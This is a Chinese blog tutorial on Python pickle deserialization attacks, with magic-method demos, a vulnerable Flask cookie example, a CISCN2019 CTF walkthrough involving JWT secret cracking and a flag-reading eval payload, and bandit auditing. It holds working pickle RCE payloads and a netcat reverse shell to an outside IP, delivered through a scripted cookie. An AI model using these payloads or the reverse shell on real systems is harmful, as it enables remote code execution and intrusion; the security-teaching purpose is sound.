chenhongl

导航

 

#知识点:
1、Python-反序列化函数使用
2、Python-反序列化魔术方法
3、Python-反序列化POP链构造
4、Python-自动化审计bandit使用

#前置知识:
函数使用:
1.文件格式:
pickle.dump(obj, file) : 将对象序列化后保存到文件
pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象
2.字节流:
pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象

魔术方法:
__reduce__() 反序列化时调用
__reduce_ex__() 反序列化时调用
__setstate__() 反序列化时调用
__getstate__() 序列化时调用


各类语言函数:
Java: Serializable Externalizable接口、fastjson、jackson、gson、ObjectInputStream.read、ObjectObjectInputStream.readUnshared、XMLDecoder.read、ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.parseObject等
PHP: serialize()、 unserialize()
Python:pickle marshal PyYAML shelve PIL unzip


 

一、原理 - 反序列化/序列化时调用魔术方法

- 魔术方法利用:
  __reduce__() 反序列化时被调用
  __reduce_ex__() 反序列化时被调用
  __setstate__() 反序列化时被调用

  __getstate__() 序列化时被调用

 

【例1】:__reduce__(),反序列化时,被自动调用

import pickle
import os

class A(object):
def __reduce__(self):
print('反序列化调用')
return (os.system,('calc',))

a = A()
p_a = pickle.dumps(a) #序列化操作
pickle.loads(p_a) #反序列化操作
print('==========')
print(p_a)


运行后弹出计算器,输出:


当我们把pickle.loads(p_a)注释时候,只会输出内容,不会弹出计算器
说明执行反序列化操作时 pickle.loads(p_a) ,会自动调用魔术方法__reduce__(),执行__reduce__()需要一个返回值。

参考:https://www.cnblogs.com/angelyan/p/11079267.html

 

【例2】:__setstate__(),反序列化时,被自动调用

import pickle
import os
class SerializePerson():
def __init__(self, name):
self.name = name

# 构造 __setstate__ 方法
def __setstate__(self, name):
os.system('calc') # 恶意代码

tmp = pickle.dumps(SerializePerson('tom')) #序列化(对象->字符串)
pickle.loads(tmp) # 反序列化 此时会弹出计算器


执行弹出计算器,把pickle.loads(tmp)注释后,不会有任何反应。

说明在执行pickle.loads(tmp) 反序列化操作时,__setstate__()被自动执行

 

【例3】:__getstate__(),序列化时,被自动调用

#序列化魔术方法调用-getstate

import pickle
import os
class A(object):
def __getstate__(self):
print('序列化调用')
os.system('calc')

a = A()
p_a = pickle.dumps(a) #序列化(对象->字符串)
print('==========')
print(p_a)


弹出计算器,输出:
序列化调用
==========
b'\x80\x04\x95\x15\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x01A\x94\x93\x94)\x81\x94.'

说明在执行pickle.dumps(a) 序列化操作时,__getstate__()被调用

 

 

二 、反序列化安全漏洞产生-DEMO

【例】:

import pickle
import os
class A(object):
def __init__(self, func, arg):
self.func = func
self.arg = arg
print('This is A')

def __reduce__(self):
print('反序列化调用')
return (self.func, self.arg)

a = A(os.system, ('calc',)) #'This is A' 可攻击的地方,可以把('calc',)修改任意命令,比如“ipconfig”
p_a = pickle.dumps(a)   #序列化
pickle.loads(p_a) #反序列化,触发__reduce__()
print('==========')
print(p_a)



传参:
self.func=os.system
self.arg=calc

弹出计算器,输出
This is A
反序列化调用
==========
b'\x80\x04\x95\x1c\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x04calc\x94\x85\x94R\x94.'

如果把calc改为ipconfig,那么就会打印ipconfig的结果。


 

3、CTF-反序列化漏洞利用-构造&RCE

环境介绍:利用Python-flask搭建的web应用,获取当前用户的信息,进行展示,在获取用户的信息时,通过对用户数据进行反序列化获取导致的安全漏洞!

#Server服务器:
import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        user = pickle.loads(user)  #字符串->对象,反序列化(但是没有看到魔法方法)
        username = user["username"]
    except:
        username = "Guest"
    return "Hello %s" % username

if __name__ == "__main__":
    app.run(
    host='192.168.4.119',
    port=5000,
    debug=True
    )

(1)修改数据包

① 访问192.168.124.86:5000
输出Hello Guest

 

分析代码:

访问根目录的时候,就会触发上面的代码,代码接受cookie里面user的值;如果没有则执行except,输出Hello Guest

user = pickle.loads(user)进行了反序列化,如果cookie有对应的值,则输出。

 

抓取访问数据包:
GET / HTTP/1.1
Host: 192.168.124.86:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

发现没有cookie这一栏,所以他是输出hello guest
但是在这里没有看到魔术方法,类等。但是python的反序列化跟php和java的反序列化不一样,他的危害更大,只需要用到这个函数,就可以进行构造
思路:
web应用接受cookie里面的user值,对其进行反序列化操作

攻击思路:

如果cookie中植入user的值,user的值就是生成的恶意序列化数据(程序会反序列化一次)


构造执行计算器的命令代码:

# 构造执行计算机命令的,编码字符串
import pickle
import os
import base64

class A(object):
    def __reduce__(self): #反序列化时调用
        # 恶意命令
        return (os.system,('calc.exe',))

a=A()
p_a = pickle.dumps(a) #对象->字符串,反序列化
p_a = base64.b64encode(p_a) #字符串编码(被植入恶意命令后的字符串编码)
print (p_a)

输出结果:gASVIAAAAAAAAACMAm50lIwGc3lzdGVtlJOUjAhjYWxjLmV4ZZSFlFKULg==

#编码的命令字符串将被解码,然后命令被执行
import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user')) #字符串解码
        user = pickle.loads(user)  #字符串->对象,反序列化(但是没有看到魔法方法)
        username = user["username"]
    except:
        username = "Guest"
    return "Hello %s" % username

if __name__ == "__main__":
    app.run(
    host='192.168.4.119',
    port=5000,
    debug=True
    )

修改数据包,将输出的值用cookie去发送:Cookie:user=gASVIAAAAAAAAACMAm50lIwGc3lzdGVtlJOUjAhjYWxjLmV4ZZSFlFKULg==

 发送,进行了弹窗。同样也可以用反弹shell


(2)用pyhton脚本进行shell命令反弹:

import pickle
import os
import base64

class A(object):
    def __reduce__(self): #反序列化时调用
        # 反弹shell,反弹到47.94.236.117的5566端口
        return (os.system,('c:/nc -e cmd 47.94.236.117 5566',))

a=A()
p_a = pickle.dumps(a) #对象->字符串,反序列化
p_a = base64.b64encode(p_a) #字符串编码(被植入恶意命令后的字符串编码),bytes格式的
print (p_a)

输出带有nc命令的编码字符串:(bytes格式)

gANjbnQKc3lzdGVtCnEAWB8AAABjOi9uYyAtZSBjbWQgNDcuOTQuMjM2LjExNyA1NTY2cQGFcQJScQMu

本地监听:nc -lvvp

 修改数据,查看监听:

 

也可以不通过burpsuite修改数据包,而是直接利用python脚本实现反弹:

import pickle
import os
import base64
import requests

class A(object):
    def __reduce__(self): #反序列化时调用
        # 反弹shell,反弹到47.94.236.117的5566端口
        return (os.system,('c:/nc -e cmd 47.94.236.117 5566',))

a=A()
p_a = pickle.dumps(a) #对象->字符串,反序列化
p_a = base64.b64encode(p_a).decode() #字符串编码(被植入恶意命令后的字符串编码),再对bytes格式的字符串进行解码
print (p_a)

h = {
    'cookie':'user='+p_a
}
requests.get('http://192.168.1.3:5000/', headers=h) 
#Server服务器:
import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user')) #字符串解码
        user = pickle.loads(user)  #字符串->对象,反序列化(但是没有看到魔法方法)
        username = user["username"]
    except:
        username = "Guest"
    return "Hello %s" % username

if __name__ == "__main__":
    app.run(
    host='192.168.4.119',
    port=5000,
    debug=True
    )

 

 

4、CTF-CISCN2019华北-JWT&python反序列化漏洞的发现和利用

 

漏洞地址:http://c0bd11f1-8483-4502-9fa9-a775cbf92b31.node5.buuoj.cn:81/shop


思路:页面提示->先要找到LV6->购买修改支付逻辑->绕过admin限制需修改jwt值->爆破jwt密匙->重组jwt值成为admin->购买进入会员中心->源码找到文件压缩源码->Python代码审计反序列化->构造读取flag代码进行序列化打印->提交获取
考点1:JWT 身份验证 攻击点:
https://www.cnblogs.com/vege/p/14468030.html
https://github.com/ck00004/c-jwt-cracker
考点2:Python 代码审计 反序列化:
自动工具:https://github.com/PyCQA/bandit
参考资料:https://github.com/bit4woo/python_sec

1. 打开页面,发现有很多lv4 lv3 查看图片地址/static/img/lv/lv4.png和/static/img/lv/lv3.png,推测lv6一定是/static/img/lv/lv6.png地址。

通过python脚本,爬取页面数据,找到lv6所在页面

#爬取页面数据
import requests,time

url = 'http://c0bd11f1-8483-4502-9fa9-a775cbf92b31.node5.buuoj.cn:81/shop?page='
for i in range(0,2000):  #i-
    time.sleep(0.2)
    r = requests.get(url+str(i))
    if 'lv6.png' in r.text:
        print(i)
        break
    else:
        print(str(i)+'|no')

爬取到181页时跳出循环,所以打开181页,发现了lv6

所以lv6所在页面是:http://c0bd11f1-8483-4502-9fa9-a775cbf92b31.node5.buuoj.cn:81/shop?page=181

 

2. 注册一个账户,然后登录,余额只有1000

 

3. 点击购买时,抓取数据包:发现有优惠价-20%

 尝试修改discount的值,

把请求放出去后,发现页面提示只允许admin访问

所以应该是有身份验证的,session,cookie,jwt等等

4. 查看cookie中的数据,发现是通过“JWT”来验证身份的
JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InhpYW9kaXNlIn0.sp8rXrjACzFQKgQyqaLGvVLCNEYFe6bjYn-M-1PGGnc

5.把jwt的数据放到jwt解密平台https://jwt.io/中解密,用户名是目前登录的用户,不是admin

 

6. 想要把“username”修改为admin,就要拿到密钥,这里可以通过爆破的方式拿到密钥

 

7. 用到脚本c-jwt-cracker破解,拿到密钥
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InhpYW9kaSJ9.UHCykJtUJ4jeYAWAYFU73QiNhn7mZLUHE7kKo4oJpK8

解密出来: 1Kun

8. 将username修改为“admin”,填写密钥为“1Kun”,拿到加密后的用户验证jwt

1647941423158-503e56ed-383f-44b4-8d33-77b51a331266.png

 得到JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

 

9. 重新发包,并修改discount和JWT的值

 

结果:支付成功

 

10. 当前页面,右键“查看页面源代码”,发现一个zip文件,可能是源代码,下载下来

 

11. 查看源代码(涉及到python反序列化),进行全局搜索关键字 pickle

1647942485510-6be92402-5eda-49ca-b3cd-093fba992ed3.png

 

12.找到反序列化函数,然后构造payload(python2编写的):

import pickle
import urllib

class payload(object):
    def __reduce__(self):
        return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload()) #对象转字符串
a = urllib.quote(a)  #解码
print a

这个是用python2写的,也要看网站是什么搭建的,要用相对应的版本(审查元素,或者对应函数使用)

用python2去运行,生成payload:

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
继续看谁调用了这个函数,在__init__文件中

1647943601058-d7eb58cd-7d98-43aa-b968-ec121469bcd2.png

 所以是(r'/b1g_m4mber', AdminHandler),/b1g_m4mber调用了这个文件


查看这个页面的表单

1647943829637-a3fe9661-2d14-441c-9c85-313a5e93b2c0.png

 

所以post提交:http://xxx.buuoj.cn:81/blg_m4mber

become=c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

得到flag:

 

 

 

5、python反序列化自动化审计工具 - bandit安装及使用

参考:https://bandit.readthedocs.io/
安装:pip install bandit(直接执行)
linux:
  安装后会在当前Python目录下bin
  使用:bandit -r 需要审计的源码目录
windows:
  安装后会在当前Python目录下script
  使用:bandit -r 需要审计的源码目录

 定位到反序列化的漏洞的代码位置:

 

posted on 2024-06-12 15:14  chenhongl  阅读(154)  评论(0)    收藏  举报